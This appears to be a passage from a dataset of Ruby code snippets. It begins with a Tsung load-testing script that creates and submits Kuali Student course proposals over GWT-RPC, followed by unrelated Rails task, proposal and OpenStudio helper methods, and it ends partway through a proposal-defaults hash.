\"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491070679|1309965025280|959000000|8|40|14|59|8|41|38|39|3491081941|1309965025280|221000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3479039543|1309965025280|823000000|8|40|14|59|8|41|38|39|3479039543|1309965025280|823000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|85|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-220|-222|-209|-218|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|93|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|94|80|19|100|8|95|14|96|-238|-240|-234|-236|8|97|14|98|8|30|14|99|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491076835|1309965025280|115000000|8|40|14|59|8|41|38|39|3491081856|1309965025280|136000000|8|42|14|100|-234|-253|8|101|14|102|8|21|17|5|6|7|0|2|8|101|17|5|6|7|0|1|8|22|14|103|-273|-275|8|97|17|5|6|7|0|1|8|22|14|104|-273|-281|-234|-271|-230|-232|-1|-228|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|106|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|107|14|108|8|109|17|5|6|7|0|3|8|110|14|111|8|112|14|113|8|21|17|5|6|7|0|1|8|112|17|5|6|7|0|1|8|22|14|114|-315|-317|-307|-313|-301|-305|8|115|80|-246|8|76|17|5|6|7|0|3|8|77|14|116|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|117|-336|-338|-327|-334|-301|-325|8|30|14|118|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491067152|1309965025280|432000000|8|40|14|59|8|41|38|39|3491081913|1309965025280|193000000|8|42|14|119|-301|-346|8|46|14|62|8|120|17|5|6|7|0|0|-301|-364|8|21|17|5|6|7|0|1|8|107|17|5|6|7|0|1|8|22|14|121|-370|-372|-301|-368|-297|-299|-293|-295|8|30|14|122|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491067143|1309965025280|423000000|8|40|14|59|8|41|38|39|3491081907|1309965025280|187000000|8\"\n contents3 = \"|42|14|119|-293|-380|8|46|14|62|8|123|17|5|6|7|0|0|-293|-398|8|48|14|124|-289|-291|-1|-287|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-412|-414|-406|-410|-1|-404|8|30|14|128|8|129|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|130|14|131|8|21|17|5|6|7|0|1|8|130|17|5|6|7|0|1|8|22|14|132|-434|-436|-428|-432|-424|-426|-1|-422|8|133|17|5|6|7|0|0|-1|-442|8|134|14|135|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491062523|1309965025280|803000000|8|40|14|59|8|41|38|39|3491081856|1309965025280|136000000|8|42|14|136|-1|-448|8|137|10|-5|8|138|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|139|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-491|-493|-480|-489|-476|-478|-472|-474|8|97|14|140|8|30|14|141|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491076834|1309965025280|114000000|8|40|14|59|8|41|38|39|3491081856|1309965025280|136000000|8|42|14|100|-472|-503|-468|-470|-1|-466|8|142|10|-5|8|143|14|144|8|46|14|62|8|145|14|146|8|123|17|5|6|7|0|2|18|-15|14|147|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|148|-535|-537|-529|-533|-1|-527|8|149|14|150|8|48|14|151|8|120|17|5|6|7|0|2|18|-15|14|152|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|153|-555|-557|-549|-553|-1|-547|8|154|17|5|6|7|0|2|18|-15|14|87|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|91|-571|-573|-565|-569|-1|-563|8|155|17|5|6|7|0|0|-1|-579|8|156|17|5|6|7|0|3|8|157|38|39|3491062523|1309965025280|803000000|8|158|89|90|1|0|8|159|14|160|-1|-583|8|21|17|5|6|7|0|3|8|143|17|5|6|7|0|1|8|22|14|161|-597|-599|8|145|17|5|6|7|0|1|8|22|14|146|-597|-605|8|13|17|5|6|7|0|1|8|22|14|162|-597|-611|-1|-595|8|163|17|5|6|7|0|12|8|164|14|165|8|30|14|166|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491062758|1309965025280|38000000|8|40|14|59|8|41|38|39|3491082765|1309965025280|45000000|8|42|14|167|-619|-625|8|44|14|65|8|168|17|5|6|7|0|1|18|-15|14|128|-619|-643|8|169|14|170|8|171|17|5|6|7|0|0|-619|-651|8|172|17|5|6|7|0|0|-619|-655|8|173|14|174|8|46|14|175|8|48|14|176|8|177|14|178|-1|-617|8|179|17|5|6|7|0|1|8|180|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|181|14|182|8|183|14|184|8|185|14|186|8|187|10|-5|8|188|10|11|1|8|189|14|190|8|191|14|190|8|192|14|193|8|194|14|190|-673|-675|-669|-671|-1|-667|0|0|\"\n else\n contents1 = \"5|0|180|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|1ED48DA6F48F82765FE7B58378EA94E0|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|validate|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|3|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|%%_#{opts[:affliated_orgs_id_name]}%%|orgId|%%_#{opts[:admin_dep_var_name]}%%|percentage|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|#{admin_org}|fees|feeAmounts|currencyQuantity|currencyTypeKey|kuali.currency.type.usdollars.cents|feeType|kuali.enum.type.feeTypes.labFee|%%_#{opts[:lab_fee_id_name]}%%|2|rateType|fixedRateFee|Fixed Rate Fee|Laboratory Fee|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|4|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|6|pilotCourse|revenues|%%_#{opts[:revenues_id_name]}%%|REVENUE|%%_#{opts[:revenue_id_name]}%%|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|8|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498783321|1309965025280|601000000|8|40|14|59|8|41|38|39|3498791687|1309965025280|967000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3479039543|1309965025280|823000000|8|40|14|59|8|41|38|39|3479039543|1309965025280|823000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|85|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-220|-222|-209|-218|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|93|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|94|80|19|100|8|95|14|96|-238|-240|-234|-236|8|97|14|98|8|30|14|99|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498789104|1309965025280|384000000|8|40|14|59|8|41|38|39|3498791612|1309965025280|892000000|8|42|14|100|-234|-253|8|101|14|102|8|21|17|5|6|7|0|2|8|101|17|5|6|7|0|1|8|22|14|103|-273|-275|8|97|17|5|6|7|0|1|8|22|14|104|-273|-281|-234|-271|-230|-232|-1|-228|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|106|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|107|14|108|8|109|17|5|6|7|0|3|8|110|14|111|8|112|14|113|8|21|17|5|6|7|0|1|8|112|17|5|6|7|0|1|8|22|14|114|-315|-317|-307|-313|-301|-305|8|115|80|-246|8|76|17|5|6|7|0|3|8|77|14|116|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|117|-336|-338|-327|-334|-301|-325|8|30|14|118|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498779786|1309965025280|66000000|8|40|14|59|8|41|38|39|3498791652|1309965025280|932000000|8|42|14|119|-301|-346|8|46|14|62|8|120|17|5|6|7|0|0|-301|-364|8|21|17|5|6|7|0|1|8|107|17|5|6|7|0|1|8|22|14|121|-370|-372|-301|-368|-297|-299|-293|-295|8|30|14|122|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498779778|1309965025280|58000000|8|40|14|59|8|41|38|39|3498791646|1309965025280|926000000|8|42|14|119|-293|-380|8|46|14|62|8|123|17|5|6|7|0|0|-293|-398|8|48|14|124|-289|-291|-1|-287|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6\"\n contents3 = \"|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-412|-414|-406|-410|-1|-404|8|30|14|128|8|129|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|130|14|131|8|21|17|5|6|7|0|1|8|130|17|5|6|7|0|1|8|22|14|132|-434|-436|-428|-432|-424|-426|-1|-422|8|133|17|5|6|7|0|0|-1|-442|8|134|14|135|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498775348|1309965025280|628000000|8|40|14|59|8|41|38|39|3498791612|1309965025280|892000000|8|42|14|136|-1|-448|8|137|10|-5|8|138|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|139|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-491|-493|-480|-489|-476|-478|-472|-474|8|97|14|140|8|30|14|141|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498789104|1309965025280|384000000|8|40|14|59|8|41|38|39|3498791612|1309965025280|892000000|8|42|14|100|-472|-503|-468|-470|-1|-466|8|142|10|-5|8|143|14|144|8|46|14|62|8|145|14|146|8|123|17|5|6|7|0|2|18|-15|14|147|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|148|-535|-537|-529|-533|-1|-527|8|149|14|150|8|48|14|151|8|120|17|5|6|7|0|2|18|-15|14|152|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|153|-555|-557|-549|-553|-1|-547|8|154|17|5|6|7|0|2|18|-15|14|87|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|91|-571|-573|-565|-569|-1|-563|8|155|17|5|6|7|0|0|-1|-579|8|156|17|5|6|7|0|3|8|157|38|39|3498775348|1309965025280|628000000|8|158|89|90|1|0|8|159|14|160|-1|-583|8|21|17|5|6|7|0|3|8|143|17|5|6|7|0|1|8|22|14|161|-597|-599|8|145|17|5|6|7|0|1|8|22|14|146|-597|-605|8|13|17|5|6|7|0|1|8|22|14|162|-597|-611|-1|-595|8|163|17|5|6|7|0|12|8|164|14|165|8|30|14|166|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498775596|1309965025280|876000000|8|40|14|59|8|41|38|39|3498792455|1309965025280|735000000|8|42|14|167|-619|-625|8|44|14|65|8|168|17|5|6|7|0|1|18|-15|14|128|-619|-643|8|169|14|170|8|171|17|5|6|7|0|0|-619|-651|8|172|17|5|6|7|0|0|-619|-655|8|173|14|174|8|46|14|175|8|48|14|176|8|177|14|178|-1|-617|8|179|17|5|6|7|0|1|8|180|17|5|6|7|0|0|-669|-671|-1|-667|0|0|\"\n end\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}#{contents3}\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add_thinktime(5)\n\n\n # Submit to worflow\n if(opts[:submit])\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|submitDocumentWithId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n end\n \n \n end",
"def setup_test_1(test_name, epw_path)\n\n co = OpenStudio::Runmanager::ConfigOptions.new(true)\n co.findTools(false, true, false, true)\n\n if !File.exist?(sql_path(test_name))\n puts \"Running EnergyPlus\"\n\n wf = OpenStudio::Runmanager::Workflow.new(\"modeltoidf->energypluspreprocess->energyplus\")\n wf.add(co.getTools())\n job = wf.create(OpenStudio::Path.new(run_dir(test_name)), OpenStudio::Path.new(model_out_path(test_name)), OpenStudio::Path.new(epw_path))\n\n rm = OpenStudio::Runmanager::RunManager.new\n rm.enqueue(job, true)\n rm.waitForFinished\n end\n end",
"def mark_task\n # ASK REPO for tasks\n tasks = @task_repository.all\n # ASK VIEW to display tasks\n @tasks_view.display(tasks)\n # ASK VIEW for a number to mark as done\n task_index = @tasks_view.ask_for_index\n # ASK REPO for the given task\n task = @task_repository.find(task_index)\n # ASK task intance to mark itself as done\n task.mark_as_completed!\n end",
"def set_work_order_work_task\n @work_order_work_task = WorkOrderWorkTask.find(params[:id])\n end",
"def description\n \"This task hits the Corpwatch API and creates an object for all found entities.\"\nend",
"def create_task\n task = Task.create!(\n description: 'Test Task'\n )\nend",
"def parent_workflow_task\n if ! (_classifications = parent_classifications.limit(1)).empty?\n _classifications.first.workflow_task\n end\n end",
"def set_proposal\n @proposal = Proposal.includes(:requirements).find(params[:id])\n end",
"def set_rto\n @rto = TrainingOrganization.find(params[:id])\n end",
"def set_task\n #byebug\n @task = Task.find(params[:id])\n\n case params[:action]\n when 'edit'\n admin_author_assignee_manager(@task, 'change this task') \n when 'update'\n admin_author_assignee_manager(@task, 'change this task') \n when 'destroy'\n admin_author_manager(@task, 'delete this task') \n end\n end",
"def reassign_task\n clusters = @task.receiver.clusters\n users = []\n set_default_task_data(@task)\n if @back_office_task\n users = Cluster.get_back_office_cluster_livians\n else\n users = User.all_cluster_livian(clusters)\n end\n if @task.work_subtype && @back_office_task\n differentiat_users_on_skills(users, @task.work_subtype, @task.work_subtype_complexity)\n elsif @task.work_subtype\n differentiat_users_on_skills(users, @task.work_subtype)\n else\n @users_select = [[\"no skilled user\",\"\"],[\"-------Other Users-------\",\"\"]]\n @users_select += users.collect {|u| [ u.full_name, u.id ]}\n end\n render :layout=> false\n end",
"def similar_task(user, taskname)\n can_create_task = true\n user.assignments.each do |assignment_instance|\n if assignment_instance.taskname.downcase == taskname.downcase\n # binding.pry \n can_create_task = false \n end \n end\n can_create_task\n end",
"def reviewer_tasks\n tasks.find(:all, :conditions => { :context => 'reviewers', :show_for_context_object_tasks => true })\n end",
"def set_task\n @task = @project.tasks.find(params[:id])\n end",
"def reassign_judge_assign_tasks\n judge_assign_tasks = open_tasks.of_type(:JudgeAssignTask)\n\n if judge_assign_tasks.any?\n task_ids = judge_assign_tasks.pluck(:id).sort\n message = \"#{cancel} #{task_ids.count} JudgeAssignTasks with ids #{task_ids.join(', ')} and #{create} \" \\\n \"#{task_ids.count} DistributionTasks\"\n Rails.logger.info(message)\n\n if !dry_run\n judge_assign_tasks.each do |task|\n DistributionTask.create!(appeal: task.appeal, parent: task.appeal.root_task)\n update_task_status_with_instructions(task, Constants.TASK_STATUSES.cancelled)\n end\n end\n end\n end",
"def assign_to_project\n proj_id = self.work.project.id\n self.update_attributes(project_id: proj_id)\n end",
"def create\n # TODO: can this user create this task?\n\t@current_user_id = 1 # TODO: fix me\n\n @project = Project.find(params[:project_id])\n\n\t# make sure this user has the requested number of shares available\n\t@shares_available = self.get_shares_available( @project.id, @current_user_id )\n\n\tnum_shares = params[:task][:num_shares]\n\n\tif (params[:task][:offered_or_wanted] == \"wanted\" \\\n\t\t&& !num_shares.nil? \\\n\t\t&& @shares_available < num_shares.to_i)\n\t\t#@task.errors.push(\"You only have \" + @shares_available + \" shares available to offer for tasks\")\n\tend\n\n @task = Task.new(\n\t\tparams[:task].merge({\n\t\t\t:requester_user_id => @current_user_id,\n\t\t\t:performer_user_id => params[:task][:offered_or_wanted] == \"offered\" ? @current_user_id : 0,\n\t\t\t:project_id => @project.id,\n\t\t\t:task_status_id => 1, # TODO: don't hardcode me\n\t\t\t:num_shares => num_shares\n\t\t})\n )\n\n\t@task.save # TODO: check for errors\n\n\tif @task.performer_user_id == 0 # this is a \"wanted\" task\n\n\t\tif params[:how_to_grant_shares] == \"offer_own_shares\"\n\t\t\tcreate_new_who_should_do_something_decision( @current_user_id, @task )\n\t\telsif params[:how_to_grant_shares] == \"group_vote_to_expand\"\n\t\t\tcreate_new_expand_share_pool_decision( @current_user_id, @task, num_shares )\n\t\t\t# TODO: once the vote is done and it's approved, THEN we need a WhoShouldDoSomethingDecision\n\t\telse\n\t\t\t# error\n\t\tend\n\n\telse # this is an \"offered\" task\n\t\tcreate_new_expand_share_pool_decision( @current_user_id, @task, num_shares )\n\tend\n\n respond_to do |format|\n if @task.errors.empty? && @task.save\n flash[:notice] = 'Task was successfully created.'\n #format.html { redirect_to(@task) } # TODO: this needs to involve @project, too, somehow\n format.html { redirect_to(project_task_path(@project, @task)) } # does this work?\n format.xml { render :xml => @task, :status => :created, :location => @task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def parent_work\n find_related_frbr_objects( :is_part_of, :which_works?) \n end",
"def optimize_workflow\n end",
"def create_proposal(title, oversight_department, admin_org, opts={})\n \n lo_cat = \"Scientific method\"\n lo_cat_text = \"LO Cat Text\"\n \n defaults = {\n :propose_person => '%%_username%%', #user is the dynvar from users.csv\n :mode => 'blank',\n :nav_homepage => true,\n :submit => true,\n :append_unique_id => false, #tell tsung to append unique id on title\n :instructor => 'fred', #BUG - HARDCODED - can't use dynvar though because of ajax search\n :collaborator => @request.config.directory[\"users\"][\"collaborator\"][\"username\"],\n :first_expected_offering => @request.config.directory[\"atp\"][\"name\"],\n :subject_area => \"BSCI\",\n :oversight_dept_number => \"65\", #BUG - right now hardcoded to BSCI, search that returned this was removed\n :course_suffix => \"123\",\n :course_short_title => \"Perf Course\",\n :course_title => title,\n :proposal_title => title,\n :course_description => \"My fake description.\",\n :course_rationale => \"My fake rationale.\",\n :lo_create => FALSE,\n :lo_category => lo_cat,\n :lo_cat_text => lo_cat_text,\n :lo_name => @request.config.directory[\"lo\"][\"name\"],\n :admin_dep_var_name => \"admin_dep_org_id\",\n :admin_dep_var_regexp => 'org.resultColumn.orgId\\\"\\,\\\"\\([^\\\"]+\\)',\n :proposal_dyn_var_name => \"proposal_id\",\n :proposal_dyn_var_regexp => '\\\"proposal\\\"\\,\\\"workflowNode\\\"\\,\\\"PreRoute\\\"\\,\\\"\\([^\\\"]+\\)',\n :proposal_doc_id_var_name => \"proposal_doc_id\",\n :proposal_doc_id_var_regexp => 'workflowId\\\"\\,\\\"\\([^\\\"]+\\)\\\"',\n :clu_ref_dyn_var_name => \"clu_ref_id\",\n :clu_ref_dyn_var_regexp => '\\\"id\\\"\\,\\\"\\([^\\\"]+\\)',\n :result_com_var_name => \"result_component_id\",\n :result_com_var_regexp => '\\\"ResultComponent 1\\\"\\,\\\"\\([^\\\"]+\\)',\n :enroll_est_var_name => \"default_enrollment_estimate_id\",\n :enroll_est_var_regexp => 'defaultEnrollmentEstimate\\\"\\,\\\"kuali.atp.duration.Week\\\"\\,\\\"Week\\\"\\,\\\"\\([^\\\"]+\\)',\n :lab_var_name => \"lab_id\",\n :lab_var_regexp => 'draft\\\"\\,\\\"unitsContentOwner\\\"\\,\\\"Lab\\\"\\,\\\"\\([^\\\"]+\\)',\n :lab_fee_id_name => 'cp_lab_fee_id',\n :lab_fee_id_regexp => 'kuali.enum.type.feeTypes.labFee\\\"\\,\\\"\\([^\\\"]+\\)',\n :revenues_id_name => 'cp_revenues_id',\n :revenues_id_regexp => 'revenues\\\"\\,\\\"\\([^\\\"]+\\)',\n :revenue_id_name => 'cp_revenue_id',\n :revenue_id_regexp => 'REVENUE\\\"\\,\\\"\\([^\\\"]+\\)',\n :joints_var_name => \"joints_num\",\n :joints_var_regexp => 'joints\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"\\([^\\\"]+\\)',\n :fee_info_id_dyn_var_name => 'fee_info_id',\n :fee_info_id_dyn_var_regexp => '\\\"fees\\\"\\,\\\"\\([^\\\"]+\\)',\n :fee_info_dyn_var_name => 'fee_info',\n :fee_info_dyn_var_regexp => 'org.kuali.student.lum.lu.dto.CluFeeInfo\\\"\\,\\\"\\([^\\\"]+\\)',\n :clu_info_dyn_var_name => 'clu_info',\n :clu_info_dyn_var_regexp => 'org.kuali.student.lum.lu.dto.CluInfo\\\"\\,\\\"\\([^\\\"]+\\)',\n :lu_dto_clu_format_dyn_var_name => \"lu_dto_clu_format\",\n :lu_dto_clu_format_dyn_var_regexp => 'org.kuali.student.lum.lu.dto.CluInfo\\\"\\,\\\"Credit Course\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"formats\\\"\\,\\\"\\([^\\\"]+\\)',\n :lu_dto_clu_activities_dyn_var_name => \"lu_dto_clu_activites\",\n :lu_dto_clu_activities_dyn_var_regexp => 'org.kuali.student.lum.lu.dto.CluInfo\\\"\\,\\\"Credit Course\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"formats\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"0\\\"\\,\\\"activities\\\"\\,\\\"\\([^\\\"]+\\)',\n :outcome_id_var_name => \"outcome_id\",\n :outcome_id_var_regexp => 'outcomeId\\\"\\,\\\"\\([^\\\"]+\\)',\n :lo_category_var_name => \"lo_category\",\n #:lo_category_var_regexp => lo_cat_text + '\\\"\\,\\\"plain\\\"\\,\\\"id\\\"\\,\\\"\\([^\\\"]+\\)',\n :lo_category_var_regexp => lo_cat_text + '\\\"\\,\\\"plain\\\"\\,\\\"\\([^\\\"]+\\)',\n 